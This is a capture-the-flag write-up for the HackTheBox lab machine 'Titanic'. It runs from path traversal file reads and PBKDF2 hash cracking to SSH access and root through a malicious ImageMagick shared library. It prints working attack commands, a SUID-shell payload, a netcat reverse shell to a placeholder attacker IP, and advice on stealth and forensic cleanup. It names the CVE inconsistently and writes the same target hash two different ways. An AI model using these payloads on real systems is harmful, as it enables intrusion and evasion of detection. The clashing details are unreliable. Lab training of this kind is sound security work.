HackTheBox Titanic
Writeup for HackTheBox Titanic
Machine Synopsis
Titanic is an easy difficulty Linux machine that features an Apache server listening on port 80. The website on port 80 advertises the amenities of the legendary Titanic ship and allows users to book trips. A second vHost is also identified after fuzzing, which points to a Gitea
server. The Gitea server allows registrations, and exploration of the available repositories reveals some interesting information including the location of a mounted Gitea
data folder, which is running via a Docker container. Back to the original website, the booking functionality is found to be vulnerable to an Arbitrary File Read exploit, and combining the directory identified from Gitea, it is possible to download the Gitea SQLite database locally. Said database contains hashed credentials for the developer
user, which can be cracked. The credentials can then be used to login to the remote system over SSH. Enumeration of the file system reveals that a script in the /opt/scripts
directory is being executed every minute. This script is running the magick
binary in order to gather information about specific images. This version of magick
is found to be vulnerable to an arbitrary code execution exploit assigned CVE-2024-41817. Successful exploitation of this vulnerability results in elevation of privileges to the root
user. (Source)
Key exploitation techniques:
- Subdomain enumeration
- Gitea source code review
- Local File Inclusion (LFI)
- PBKDF2 hash cracking
- ImageMagick arbitrary code execution (LD_LIBRARY_PATH injection)
Enumeration
An nmap
scan revealed SSH (22/tcp) and HTTP (80/tcp).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
➜ Titanic nmap -p- --min-rate 10000 10.10.11.55
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
➜ Titanic nmap -p 22,80 -sC -sV 10.10.11.55
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_ 256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP service redirected to http://titanic.htb/
. The hostname was added to /etc/hosts
:
1
➜ echo -e '10.10.11.55\ttitanic.htb' | sudo tee -a /etc/hosts
Accessing http://titanic.htb/
presented a booking page. Submitting a “Book Now” request downloaded a JSON file:
1
2
➜ Titanic cat 62eebc37-b63c-4a63-bd3b-18e538fb56e4.json
{"name": "shiro", "email": "shiro@titanic.htb", "phone": "12341234", "date": "2025-01-01", "cabin": "Standard"}%
Subdomain Discovery
Subdomain enumeration was performed to identify additional web assets. ffuf
identified dev.titanic.htb
.
1
2
3
4
5
6
7
➜ Titanic ffuf -u http://titanic.htb/ -H 'Host: FUZZ.titanic.htb' -w /usr/share/wordlists/dirb/common.txt -fc 301
...
dev [Status: 200]
# Alternative techniques
➜ Titanic subfinder -d titanic.htb -silent
➜ Titanic gobuster vhost -u http://titanic.htb/ -w /usr/share/wordlists/dirb/common.txt
The dev.titanic.htb
entry was added to /etc/hosts
.
Gitea Source Review
http://dev.titanic.htb/
hosted a Gitea instance. Review of public repositories under developer/docker-config
exposed two docker-compose.yml
files.
gitea/docker-compose.yml
: Revealed the host-side mount path for Gitea data.1 2 3
# http://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml volumes: - /home/developer/gitea/data:/data # Host path: /home/developer/gitea/data
mysql/docker-compose.yml
: Contained plaintext MySQL credentials.1 2 3 4 5 6
# http://dev.titanic.htb/developer/docker-config/src/branch/main/mysql/docker-compose.yml environment: MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!' MYSQL_DATABASE: tickets MYSQL_USER: sql_svc MYSQL_PASSWORD: sql_password
The Gitea data path and MySQL credentials were noted for potential future use.
Exploitation: LFI to SSH
The main web application on titanic.htb
was vulnerable to Local File Inclusion, which was chained with the Gitea findings.
Local File Inclusion (LFI)
The download
parameter in http://titanic.htb/download?ticket=<ticket_id>
was tested for LFI with a path traversal payload.
1
2
3
4
➜ Titanic curl 'http://titanic.htb/download?ticket=../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
... (truncated)
LFI was confirmed. The next objective was to retrieve the Gitea SQLite database (gitea.db
). Based on the docker-compose.yml
and Gitea documentation, the full path on the host was determined to be /home/developer/gitea/data/gitea/gitea.db
.
1
2
3
4
5
6
7
8
9
10
11
➜ Titanic curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/gitea.db'
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal
Warning: anyway, or consider "--output <FILE>" to save to a file.
➜ Titanic curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/gitea.db' -o gitea.db
➜ Titanic file gitea.db
gitea.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 562, database pages 509, cookie 0x1d9, schema 4, UTF-8, version-valid-for 562
# Alternative technique
➜ Titanic dotdotpwn -m http -h titanic.htb -u /download?ticket=FILE -o LFI_results
Password Cracking
The gitea.db
file contained a user
table with PBKDF2-SHA256 hashed passwords. The relevant hash for the developer
user was extracted along with its salt and 50000 iterations.
The hash was prepared for hashcat
(mode 10000
for PBKDF2-SHA256). For example, a hash might look like: pbkdf2-sha256:50000:8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
.
1
➜ Titanic hashcat -m 10000 -a 0 <hash_from_db> /usr/share/wordlists/rockyou.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# crack.py
import hashlib
import binascii
iterations = 50000
dklen = 50
salt_hex = "8bf3e3452b78544f8bee9400d6936d34"
target_hash_hex = "e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf16826199263444ea594cfb56"
wordlist_path = "/usr/share/wordlists/rockyou.txt"
salt = bytes.fromhex(salt_hex)
target_hash = bytes.fromhex(target_hash_hex)
with open(wordlist_path, "r", encoding="utf-8", errors="ignore") as f:
for line in f:
password = line.strip().encode()
derived = hashlib.pbkdf2_hmac("sha256", password, salt, iterations, dklen)
if derived == target_hash:
print(f"[+] Password found: {password.decode()}")
break
else:
print("[-] Password not found.")
➜ Titanic python3 crack.py
[+] Password found: 25282528
SSH Access
SSH access was established using the developer
username and the cracked password.
1
2
➜ Titanic ssh developer@titanic.htb
developer@titanic:~$
Privilege Escalation: ImageMagick RCE
Post-exploitation enumeration focused on identifying privilege escalation vectors.
User Enumeration
Initial checks included sudo
privileges.
1
2
developer@titanic:~$ sudo -l
Sorry, user developer may not run sudo on titanic.
File system enumeration in /opt
revealed relevant directories and scripts.
1
2
3
4
5
6
7
8
9
10
11
12
13
developer@titanic:~$ ls -laR /opt
...
./app:
drwxr-xr-x 5 root developer 4096 Feb 7 10:37 .
-rwxr-x--- 1 root developer 1598 Aug 2 2024 app.py
drwxrwx--- 2 root developer 4096 May 14 06:20 tickets
...
./app/static/assets/images:
drwxrwx--- 2 root developer 4096 Feb 3 17:13 .
-rw-r----- 1 root developer 442 May 14 07:16 metadata.log
...
./scripts:
-rwxr-xr-x 1 root root 167 Feb 3 17:11 identify_images.sh
Key findings:
/opt/app/static/assets/images
directory haddrwxrwx---
permissions, allowing thedeveloper
group (which thedeveloper
user belongs to) to write./opt/scripts/identify_images.sh
was an executable script owned byroot
.
The content of identify_images.sh
:
1
2
3
4
developer@titanic:/opt$ cat scripts/identify_images.sh
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
The script changes directory to /opt/app/static/assets/images/
, then executes /usr/bin/magick identify
on .jpg
files, appending output to metadata.log
. The developer
user has write permissions to the working directory.
The ImageMagick
version was checked:
1
2
developer@titanic:/opt$ magick --version
Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org
Process Monitoring
pspy
was used to monitor processes and confirm scheduled execution of identify_images.sh
.
1
2
3
4
5
6
7
8
developer@titanic:/tmp$ wget http://<YOUR_IP>/pspy64
developer@titanic:/tmp$ chmod +x pspy64
developer@titanic:/tmp$ ./pspy64 -cf
...
2025/05/14 07:28:01 FS: OPEN | /opt/scripts/identify_images.sh
2025/05/14 07:28:01 FS: ACCESS | /opt/scripts/identify_images.sh
2025/05/14 07:28:01 FS: CLOSE_NOWRITE | /opt/scripts/identify_images.sh
...
Searching for /usr/bin/magick exploit
on Google brings us to this GitHub advisory.
ImageMagick LD_LIBRARY_PATH Exploitation
The ImageMagick version (7.1.1-35) in conjunction with the script’s execution context (cd
into a writable directory before calling magick
) suggests a vulnerability where ImageMagick
might attempt to load shared libraries from the current working directory due to an empty or insecure LD_LIBRARY_PATH
setting (CVE-2022-44268).
A malicious shared library (libxcb.so.1
) was created in /opt/app/static/assets/images/
with gcc
. The __attribute__((constructor))
function ensures code execution when the library is loaded.
1
2
3
4
5
6
7
8
9
10
11
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
// Create a SUID bash shell for persistent root access
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash");
exit(0);
}
EOF
A dummy .jpg
file was created to ensure magick identify
had a target.
1
developer@titanic:/opt/app/static/assets/images$ echo 'dummy' > dummy.jpg
Upon the next execution of identify_images.sh
by root, libxcb.so.1
was loaded, executing the payload.
1
2
developer@titanic:/tmp$ ls -la /tmp/bash
-rwsr-sr-x 1 root root 1396520 Jul 9 12:00 /tmp/bash
The SUID bash
binary was successfully created.
OPSEC Alternative for Privilege Escalation Payload:
For stealthier engagements (Red Teaming/Bug Bounty), creating a SUID binary leaves a clear forensic artifact. A more OPSEC-friendly approach is to execute a direct reverse shell payload within the
init()
function, which runs in memory and typically leaves fewer traces.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // More OPSEC-friendly payload for direct reverse shell #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> __attribute__((constructor)) void init(){ // Replace YOUR_IP and YOUR_PORT with your attack machine's IP and listener port system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> <YOUR_PORT> >/tmp/f"); // Alternative: execve for more robust shell (requires more complex C code) exit(0); // Ensure the ImageMagick process exits gracefully }Compile and deploy this new
libxcb.so.1
and set up anetcat
listener.
1 2 # On your attack machine ➜ kali nc -lvnp <YOUR_PORT>When the cron job executes, a reverse shell would connect back.
Achieving Root
With the SUID bash
binary, root access was achieved.
1
2
3
developer@titanic:/opt/app/static/assets/images$ /tmp/bash -p
bash-5.1# whoami
root
Flags were retrieved:
1
2
3
4
bash-5.1# cat /home/developer/user.txt
9973f730e297e96607ae39d44c497c94
bash-5.1# cat /root/root.txt
92ea56e03b7ac2860015065bfb319c83
OPSEC for Artifact Cleanup:
After gaining root, it is crucial to remove any generated artifacts for OPSEC. This includes:
/tmp/bash
(SUID binary)gitea.db
(downloaded database)libxcb.so.1
(malicious shared library)dummy.jpg
(if created)pspy64
(monitoring tool)- Any entries added to
/etc/hosts
.
1
2
3
4
5
6
# Example cleanup commands as root
bash-5.1# rm /tmp/bash
bash-5.1# rm /opt/app/static/assets/images/libxcb.so.1
bash-5.1# rm /opt/app/static/assets/images/dummy.jpg
bash-5.1# rm /tmp/pspy64
# Edit /etc/hosts to remove 10.10.11.55 entries if they were not temporary